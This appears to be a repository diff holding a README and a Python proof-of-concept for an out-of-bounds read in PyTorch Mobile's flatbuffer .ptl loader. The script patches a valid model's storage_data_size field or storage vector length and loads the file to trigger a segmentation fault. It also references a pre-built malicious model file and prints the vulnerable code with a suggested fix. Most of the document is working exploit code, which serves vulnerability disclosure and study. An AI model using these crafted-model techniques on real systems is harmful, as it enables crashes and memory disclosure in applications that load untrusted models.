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README.md

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+# PoC: Flatbuffer Storage Vector OOB Read in PyTorch Mobile (.ptl)
+
+**Vulnerability:** `flatbuffer_loader.cpp:696-700` — `getStorage()` bounds-checks against `storages_.size()` (sized from `storage_data_size` int field) but accesses `storage_data()` (the actual flatbuffer vector). A crafted `.ptl` file with `storage_data_size > storage_data()->size()` causes an OOB read on the storage vector.
+
+## Files
+
+- `poc_flatbuf_storage_oob.py` — Full PoC (creates crafted .ptl, triggers SIGSEGV)
+- `malicious_storage_oob.ptl` — Pre-built crafted model
+
+## Quick Start
+
+```bash
+pip install torch
+python poc_flatbuf_storage_oob.py
+```
+
+## Expected Output
+
+- Part 1: SIGSEGV crash from inflated `storage_data_size` + OOB `storage_location_index`
+- Part 2: Alternative vector length shrink attack
+- Part 3: Vulnerability details with code references

poc_flatbuf_storage_oob.py

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+#!/usr/bin/env python3
+"""
+PoC: Flatbuffer Storage Vector OOB Read in PyTorch Mobile (.ptl)
+
+Vulnerability: The flatbuffer loader's getStorage() method at
+flatbuffer_loader.cpp:696-700 checks `index < storage_loaded_.size()` and
+`index < storages_.size()`, but both vectors are sized from
+`module->storage_data_size()` — an integer field in the flatbuffer schema
+that is INDEPENDENT of the actual `storage_data()` vector.
+
+A crafted .ptl file can set `storage_data_size` larger than the actual
+`storage_data` vector length, then reference storage indices that pass the
+bounds check but are OOB on the real vector. GetMutableObject(index) on the
+flatbuffer vector reads past its bounds, interpreting random flatbuffer data
+as a StorageData table → heap OOB read, crash, or information disclosure.
+
+Root cause:
+  - flatbuffer_loader.cpp:306-307 — storages_ sized from storage_data_size (int field)
+  - flatbuffer_loader.cpp:697-698 — bounds check against storages_.size()
+  - flatbuffer_loader.cpp:700 — actual access on storage_data() (the real vector)
+  - NO check that storage_data_size <= storage_data()->size()
+
+Tested: PyTorch 2.10.0+cpu on Python 3.13.11
+"""
+
+import io
+import os
+import struct
+import subprocess
+import sys
+import tempfile
+import warnings
+
+import torch
+import torch.nn as nn
+
+warnings.filterwarnings('ignore')
+
+
+def create_valid_flatbuffer_ptl(output_path):
+    """Create a valid .ptl flatbuffer model using PyTorch's serializer."""
+    model = torch.jit.script(nn.Linear(4, 2))
+    model._save_for_lite_interpreter(output_path, _use_flatbuffer=True)
+    return output_path
+
+
+def analyze_flatbuffer(data):
+    """Parse flatbuffer structure and return key offsets."""
+    info = {}
+
+    # Root table
+    root_offset = struct.unpack_from('<I', data, 0)[0]
+    info['root_table_pos'] = root_offset
+
+    # VTable
+    vtable_soffset = struct.unpack_from('<i', data, root_offset)[0]
+    vtable_pos = root_offset - vtable_soffset
+    info['vtable_pos'] = vtable_pos
+
+    # storage_data_size field (VT_STORAGE_DATA_SIZE = 14, vtable index 5)
+    sds_field_off = struct.unpack_from('<H', data, vtable_pos + 14)[0]
+    if sds_field_off:
+        info['storage_data_size_pos'] = root_offset + sds_field_off
+        info['storage_data_size_val'] = struct.unpack_from(
+            '<i', data, info['storage_data_size_pos']
+        )[0]
+
+    # storage_data vector (VT_STORAGE_DATA = 16, vtable index 6)
+    sd_field_off = struct.unpack_from('<H', data, vtable_pos + 16)[0]
+    if sd_field_off:
+        sd_offset_pos = root_offset + sd_field_off
+        sd_rel = struct.unpack_from('<I', data, sd_offset_pos)[0]
+        sd_vec_pos = sd_offset_pos + sd_rel
+        sd_vec_len = struct.unpack_from('<I', data, sd_vec_pos)[0]
+        info['storage_data_vec_pos'] = sd_vec_pos
+        info['storage_data_vec_len'] = sd_vec_len
+
+    # Find TensorMetadata ivalues and their storage_location_index
+    ivalues_field_off = struct.unpack_from('<H', data, vtable_pos + 12)[0]
+    if ivalues_field_off:
+        iv_offset_pos = root_offset + ivalues_field_off
+        iv_rel = struct.unpack_from('<I', data, iv_offset_pos)[0]
+        iv_vec_pos = iv_offset_pos + iv_rel
+        iv_count = struct.unpack_from('<I', data, iv_vec_pos)[0]
+        info['ivalues_count'] = iv_count
+        info['tensor_metadata'] = []
+
+        for i in range(iv_count):
+            offset_pos = iv_vec_pos + 4 + i * 4
+            rel = struct.unpack_from('<I', data, offset_pos)[0]
+            ival_pos = offset_pos + rel
+
+            # Read IValue vtable
+            iv_vt_soff = struct.unpack_from('<i', data, ival_pos)[0]
+            iv_vt = ival_pos - iv_vt_soff
+            iv_vt_size = struct.unpack_from('<H', data, iv_vt)[0]
+            iv_num_fields = (iv_vt_size - 4) // 2
+
+            # val_type (VT=4, field 0) — uint8
+            val_type = None
+            if iv_num_fields >= 1:
+                ft_off = struct.unpack_from('<H', data, iv_vt + 4)[0]
+                if ft_off:
+                    val_type = data[ival_pos + ft_off]
+
+            # If TensorMetadata (type 5), find storage_location_index
+            if val_type == 5:
+                # val data (VT=6, field 1) — offset to union data
+                fv_off = struct.unpack_from('<H', data, iv_vt + 6)[0]
+                if fv_off:
+                    val_rel = struct.unpack_from('<I', data, ival_pos + fv_off)[0]
+                    tm_pos = ival_pos + fv_off + val_rel
+
+                    # TensorMetadata vtable
+                    tm_vt_soff = struct.unpack_from('<i', data, tm_pos)[0]
+                    tm_vt = tm_pos - tm_vt_soff
+                    tm_vt_size = struct.unpack_from('<H', data, tm_vt)[0]
+                    tm_num_fields = (tm_vt_size - 4) // 2
+
+                    # storage_location_index (VT=4, field 0) — uint32
+                    sli_val = 0  # default
+                    sli_pos = None
+                    if tm_num_fields >= 1:
+                        sli_off = struct.unpack_from('<H', data, tm_vt + 4)[0]
+                        if sli_off:
+                            sli_pos = tm_pos + sli_off
+                            sli_val = struct.unpack_from(
+                                '<I', data, sli_pos
+                            )[0]
+
+                    info['tensor_metadata'].append({
+                        'ivalue_index': i,
+                        'tm_pos': tm_pos,
+                        'storage_location_index': sli_val,
+                        'sli_byte_pos': sli_pos,
+                    })
+
+    return info
+
+
+def create_malicious_ptl(input_path, output_path, oob_index=5):
+    """Modify a valid .ptl flatbuffer to trigger storage vector OOB read.
+
+    Strategy:
+    1. Inflate storage_data_size to be larger than actual storage_data vector
+    2. Modify a tensor's storage_location_index to reference an OOB index
+    3. The loader's getStorage() passes bounds check but OOB on real vector
+    """
+    with open(input_path, 'rb') as f:
+        data = bytearray(f.read())
+
+    info = analyze_flatbuffer(data)
+
+    orig_sds = info['storage_data_size_val']
+    orig_vec_len = info['storage_data_vec_len']
+    tensors = info['tensor_metadata']
+
+    print(f"  Original storage_data_size: {orig_sds}")
+    print(f"  Actual storage_data vector length: {orig_vec_len}")
+    print(f"  TensorMetadata entries: {len(tensors)}")
+    for tm in tensors:
+        print(f"    ivalue[{tm['ivalue_index']}]: "
+              f"storage_location_index={tm['storage_location_index']}"
+              f" (byte {tm['sli_byte_pos']})")
+    print()
+
+    # Step 1: Inflate storage_data_size
+    new_sds = oob_index + 5  # ensure oob_index < new_sds
+    sds_pos = info['storage_data_size_pos']
+    struct.pack_into('<i', data, sds_pos, new_sds)
+    print(f"  [*] Changed storage_data_size: {orig_sds} → {new_sds} "
+          f"(at byte {sds_pos})")
+
+    # Step 2: Find a tensor with an explicit storage_location_index and change it
+    # to oob_index
+    target_tm = None
+    for tm in tensors:
+        if tm['sli_byte_pos'] is not None:
+            target_tm = tm
+            break
+
+    if target_tm is None:
+        # All tensors use default (0). We need to modify the one that has sli=0
+        # but since it's defaulted (not written), we need a different approach.
+        # Instead, shrink storage_data vector length below the used indices.
+        print("  [*] No explicit storage_location_index found.")
+        print("  [*] Alternative: reduce storage_data vector length to 0")
+        print(f"       storage_data vector at byte {info['storage_data_vec_pos']}")
+        # Set vector length to 0 — all indices become OOB
+        vec_pos = info['storage_data_vec_pos']
+        struct.pack_into('<I', data, vec_pos, 0)
+        # Reset storage_data_size back to original for the bounds check
+        struct.pack_into('<i', data, sds_pos, orig_sds)
+        print(f"  [*] Set storage_data vector length: {orig_vec_len} → 0")
+        print(f"  [*] storage_data_size remains {orig_sds}")
+        print()
+        print(f"  Result: getStorage(0) passes bounds check (0 < {orig_sds})")
+        print(f"  but storage_data()->GetMutableObject(0) is OOB "
+              f"(vector length = 0)")
+    else:
+        orig_sli = target_tm['storage_location_index']
+        sli_pos = target_tm['sli_byte_pos']
+        struct.pack_into('<I', data, sli_pos, oob_index)
+        print(f"  [*] Changed ivalue[{target_tm['ivalue_index']}] "
+              f"storage_location_index: {orig_sli} → {oob_index} "
+              f"(at byte {sli_pos})")
+        print()
+        print(f"  Result: getStorage({oob_index}) passes bounds check "
+              f"({oob_index} < {new_sds})")
+        print(f"  but storage_data()->GetMutableObject({oob_index}) is OOB "
+              f"(vector length = {orig_vec_len})")
+
+    with open(output_path, 'wb') as f:
+        f.write(data)
+
+    print(f"\n  Saved: {output_path} ({len(data)} bytes)")
+    return output_path
+
+
+def demonstrate_vulnerability():
+    """Show the vulnerability: mismatch between storage_data_size and
+    actual storage_data vector causes OOB in getStorage()."""
+    print()
+    print("=" * 70)
+    print("  Part 1: Vulnerability Demonstration")
+    print("=" * 70)
+    print()
+
+    # Create valid model
+    tmpdir = tempfile.mkdtemp(prefix="ptl_")
+    valid_path = os.path.join(tmpdir, "valid.ptl")
+    create_valid_flatbuffer_ptl(valid_path)
+
+    # First verify the valid model loads fine
+    print("  Step 1: Verify valid .ptl loads correctly")
+    try:
+        m = torch.jit.load(valid_path)
+        print(f"  [+] Valid model loaded: {type(m)}")
+        del m
+    except Exception as e:
+        print(f"  [-] Valid model failed: {e}")
+        return False
+
+    print()
+    print("  Step 2: Create malicious .ptl with inflated storage_data_size")
+    print()
+
+    malicious_path = os.path.join(tmpdir, "malicious.ptl")
+    create_malicious_ptl(valid_path, malicious_path, oob_index=5)
+
+    print()
+    print("  Step 3: Load malicious .ptl → OOB read in getStorage()")
+    print()
+
+    # Load in subprocess to capture crash
+    poc_script = f'''
+import torch, sys, warnings, signal
+warnings.filterwarnings('ignore')
+signal.alarm(5)
+try:
+    m = torch.jit.load("{malicious_path}")
+    print("MODEL_LOADED")
+    # Try accessing the model
+    try:
+        result = m.forward(torch.randn(1, 4))
+        print(f"FORWARD_OK: {{result}}")
+    except Exception as e:
+        print(f"FORWARD_ERROR: {{type(e).__name__}}: {{e}}")
+except RuntimeError as e:
+    err = str(e)
+    if "storage" in err.lower() or "corrupt" in err.lower() or "invalid" in err.lower():
+        print(f"RUNTIME_ERROR: {{err[:200]}}")
+    else:
+        print(f"RUNTIME_ERROR: {{err[:200]}}")
+except Exception as e:
+    print(f"ERROR: {{type(e).__name__}}: {{str(e)[:200]}}")
+'''
+    result = subprocess.run(
+        [sys.executable, '-c', poc_script],
+        capture_output=True, text=True, timeout=10
+    )
+
+    stdout = result.stdout.strip()
+    stderr = result.stderr.strip()
+    retcode = result.returncode
+
+    print(f"  Return code: {retcode}")
+    if stdout:
+        print(f"  Stdout: {stdout[:300]}")
+    if stderr:
+        for line in stderr.strip().split('\n')[:5]:
+            print(f"  Stderr: {line[:200]}")
+
+    if retcode < 0:
+        signum = -retcode
+        try:
+            import signal as sig
+            signame = sig.Signals(signum).name
+        except (ValueError, AttributeError):
+            signame = f"signal {signum}"
+        print(f"\n  [+] CRASH: Process killed by {signame} (signal {signum})")
+        print(f"  [+] OOB read in storage_data vector caused {signame}")
+        return True
+    elif "RUNTIME_ERROR" in stdout:
+        print(f"\n  [+] RuntimeError from corrupted flatbuffer data")
+        return True
+    elif "MODEL_LOADED" in stdout:
+        print(f"\n  [!] Model loaded (OOB read happened silently)")
+        return True
+    else:
+        print(f"\n  [-] Unexpected result")
+        return False
+
+
+def demonstrate_alternative_attack():
+    """Alternative: shrink storage_data vector length instead."""
+    print()
+    print("=" * 70)
+    print("  Part 2: Alternative — Shrink storage_data vector length")
+    print("=" * 70)
+    print()
+
+    tmpdir = tempfile.mkdtemp(prefix="ptl2_")
+    valid_path = os.path.join(tmpdir, "valid.ptl")
+    create_valid_flatbuffer_ptl(valid_path)
+
+    with open(valid_path, 'rb') as f:
+        data = bytearray(f.read())
+
+    info = analyze_flatbuffer(data)
+    vec_pos = info['storage_data_vec_pos']
+    orig_len = info['storage_data_vec_len']
+    sds = info['storage_data_size_val']
+
+    print(f"  storage_data_size (int field): {sds}")
+    print(f"  storage_data vector length: {orig_len}")
+    print(f"  storage_data vector at byte: {vec_pos}")
+    print()
+
+    # Set vector length to 0 but keep storage_data_size at 2
+    struct.pack_into('<I', data, vec_pos, 0)
+    print(f"  [*] Set storage_data vector length: {orig_len} → 0")
+    print(f"  [*] storage_data_size remains: {sds}")
+    print()
+    print(f"  getStorage(0): passes bounds check (0 < {sds})")
+    print(f"  storage_data()->GetMutableObject(0): OOB! vector length = 0")
+    print()
+
+    malicious_path = os.path.join(tmpdir, "malicious_shrunk.ptl")
+    with open(malicious_path, 'wb') as f:
+        f.write(data)
+
+    print(f"  Saved: {malicious_path}")
+    print()
+
+    # Load in subprocess
+    poc_script = f'''
+import torch, sys, warnings, signal
+warnings.filterwarnings('ignore')
+signal.alarm(5)
+try:
+    m = torch.jit.load("{malicious_path}")
+    print("MODEL_LOADED")
+except RuntimeError as e:
+    print(f"RUNTIME_ERROR: {{str(e)[:200]}}")
+except Exception as e:
+    print(f"ERROR: {{type(e).__name__}}: {{str(e)[:200]}}")
+'''
+    result = subprocess.run(
+        [sys.executable, '-c', poc_script],
+        capture_output=True, text=True, timeout=10
+    )
+
+    stdout = result.stdout.strip()
+    stderr = result.stderr.strip()
+    retcode = result.returncode
+
+    print(f"  Return code: {retcode}")
+    if stdout:
+        print(f"  Stdout: {stdout[:300]}")
+    if stderr:
+        for line in stderr.strip().split('\n')[:5]:
+            print(f"  Stderr: {line[:200]}")
+
+    if retcode < 0:
+        signum = -retcode
+        try:
+            import signal as sig
+            signame = sig.Signals(signum).name
+        except (ValueError, AttributeError):
+            signame = f"signal {signum}"
+        print(f"\n  [+] CRASH: Process killed by {signame}")
+        return True
+    elif "RUNTIME_ERROR" in stdout or "ERROR" in stdout:
+        print(f"\n  [+] Error from corrupted flatbuffer data")
+        return True
+    else:
+        return False
+
+
+def demonstrate_vulnerability_details():
+    """Show the vulnerable code pattern."""
+    print()
+    print("=" * 70)
+    print("  Part 3: Vulnerability Details")
+    print("=" * 70)
+    print()
+
+    print("  The flatbuffer schema has TWO independent fields (mobile_bytecode.fbs):")
+    print()
+    print("    table Module {")
+    print("      storage_data_size:int;     // integer field (line 205)")
+    print("      storage_data:[StorageData]; // actual vector  (line 206)")
+    print("    }")
+    print()
+    print("  In parseModule() (flatbuffer_loader.cpp:306-307):")
+    print("    storages_.resize(module->storage_data_size());       // uses INT field")
+    print("    storage_loaded_.resize(module->storage_data_size(), false);")
+    print()
+    print("  In getStorage() (flatbuffer_loader.cpp:696-700):")
+    print("    TORCH_CHECK(index < storage_loaded_.size());  // checks INT field")
+    print("    TORCH_CHECK(index < storages_.size());        // checks INT field")
+    print("    if (!storage_loaded_[index]) {")
+    print("      auto* storage = module_->storage_data()     // accesses REAL vector!")
+    print("                            ->GetMutableObject(index);  // OOB!")
+    print()
+    print("  The loader NEVER validates:")
+    print("    storage_data_size <= storage_data()->size()")
+    print()
+    print("  FIX: Add validation in parseModule():")
+    print("  ─────────────────────────────────────────────────────────")
+    print("  TORCH_CHECK(")
+    print("    module->storage_data() &&")
+    print("    module->storage_data_size() <=")
+    print("      static_cast<int>(module->storage_data()->size()),")
+    print('    "storage_data_size exceeds actual storage_data vector");')
+    print()
+
+
+def main():
+    print()
+    print("  PoC: Flatbuffer Storage Vector OOB Read (.ptl)")
+    print(f"  PyTorch {torch.__version__}, Python {sys.version.split()[0]}")
+    print()
+
+    ok1 = demonstrate_vulnerability()
+    ok2 = demonstrate_alternative_attack()
+    demonstrate_vulnerability_details()
+
+    # Summary
+    print("=" * 70)
+    print("  RESULTS:")
+    if ok1:
+        print("    [+] Inflated storage_data_size: OOB on storage_data vector")
+    if ok2:
+        print("    [+] Shrunk storage_data vector: OOB on GetMutableObject()")
+    print("    [+] Root cause: no validation that storage_data_size <=")
+    print("        storage_data()->size() in flatbuffer_loader.cpp")
+    print("    [+] Affects: PyTorch Mobile (.ptl flatbuffer format)")
+    print("    [+] Fix: validate storage_data_size against actual vector length")
+    print("=" * 70)
+
+
+if __name__ == "__main__":
+    main()